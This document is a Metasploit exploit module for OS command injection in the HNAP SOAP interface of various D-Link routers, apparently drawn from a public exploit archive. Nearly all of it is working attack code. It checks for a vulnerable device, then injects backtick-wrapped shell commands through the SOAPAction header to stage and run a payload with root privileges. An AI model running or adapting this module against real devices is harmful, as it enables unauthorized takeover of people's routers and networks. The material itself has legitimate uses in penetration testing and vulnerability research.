D-Link Devices HNAP SOAPAction-Header Command Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'D-Link Devices HNAP SOAPAction-Header Command Execution',  
'Description' => %q{  
Different D-Link Routers are vulnerable to OS command injection in the HNAP SOAP  
interface. Since it is a blind OS command injection vulnerability, there is no  
output for the executed command. This module has been tested on a DIR-645 device.  
The following devices are also reported as affected: DAP-1522 revB, DAP-1650 revB,  
DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB DIR-815 revB, DIR-300 revB,  
DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR  
},  
'Author' =>  
[  
'Samuel Huntley', # first public documentation of this Vulnerability on DIR-645  
'Craig Heffner', # independent Vulnerability discovery on different other routers  
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10051'],  
['URL', 'http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/']  
],  
'DisclosureDate' => 'Feb 13 2015',  
'Privileged' => true,  
'Platform' => 'linux',  
'Targets' =>  
[  
[ 'MIPS Little Endian',  
{  
'Arch' => ARCH_MIPSLE  
}  
],  
[ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target  
{  
'Arch' => ARCH_MIPSBE  
}  
]  
],  
'DefaultTarget' => 0  
))  
  
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')  
end  
  
def check  
uri = '/HNAP1/'  
soap_action = 'http://purenetworks.com/HNAP1/GetDeviceSettings'  
  
begin  
res = send_request_cgi({  
'uri' => uri,  
'method' => 'GET',  
'headers' => {  
'SOAPAction' => soap_action,  
}  
})  
  
if res && [200].include?(res.code) && res.body =~ /D-Link/  
return Exploit::CheckCode::Detected  
end  
rescue ::Rex::ConnectionError  
return Exploit::CheckCode::Unknown  
end  
  
Exploit::CheckCode::Unknown  
end  
  
def exploit  
print_status("#{peer} - Trying to access the device ...")  
  
unless check == Exploit::CheckCode::Detected  
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")  
end  
  
print_status("#{peer} - Exploiting...")  
  
execute_cmdstager(  
:flavor => :echo,  
:linemax => 200,  
:temp => ''  
)  
end  
  
def execute_command(cmd, opts)  
  
uri = '/HNAP1/'  
  
# we can not use / in our command so we need to use a little trick  
cmd_new = 'cd && cd tmp && export PATH=$PATH:. && ' << cmd  
soap_action = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd_new}`"  
  
begin  
res = send_request_cgi({  
'uri' => uri,  
'method' => 'GET',  
'headers' => {  
'SOAPAction' => soap_action,  
}  
}, 3)  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")  
end  
end  
end  
`